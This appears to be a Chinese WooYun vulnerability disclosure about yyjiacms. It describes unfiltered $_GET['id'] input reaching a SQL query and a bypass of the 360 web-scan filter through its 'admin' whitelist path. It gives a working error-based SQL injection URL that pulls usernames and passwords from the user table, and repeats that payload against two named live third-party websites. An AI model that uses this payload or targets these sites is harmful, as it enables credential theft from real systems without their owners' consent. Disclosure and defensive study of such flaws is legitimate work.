WooYun.org

get_comment，get_appinfo这些函数对进入的数据都没用进行过滤
/source/cp_android_detail.php

$commentlists=get_comment($_GET['id'],0,$start,$perpage,1);

直接get带入的查询，由于源码zend加密了 ，就不多做分析了
这个问题看以前有人提到过
WooYun: yyjiacms (应用+ CMS) SQL注射（官网演示）
程序员的做法是加了个360脚本防护，然而这是可以绕过的
参见 http://www.leavesongs.com/PENETRATION/360webscan-bypass.html
yyjiacms的白名单为

$webscan_white_directory='admin|\/dede\/';
//url白名单,可以自定义添加url白名单,默认是对phpcms的后台url放行

我们访问

/android.php/admin?ac=detail&cname=juesebanyan&id=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(username,0x5c,password)%20from%20user),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

直接报出了数据

百度随意两个例子
http://wtshu.net/android.php/admin?ac=detail&cname=juesebanyan&id=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(username,0x5c,password)%20from%20user),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
http://mm.wufafa.com/android.php/admin?ac=detail&cname=juesebanyan&id=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(username,0x5c,password)%20from%20user),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23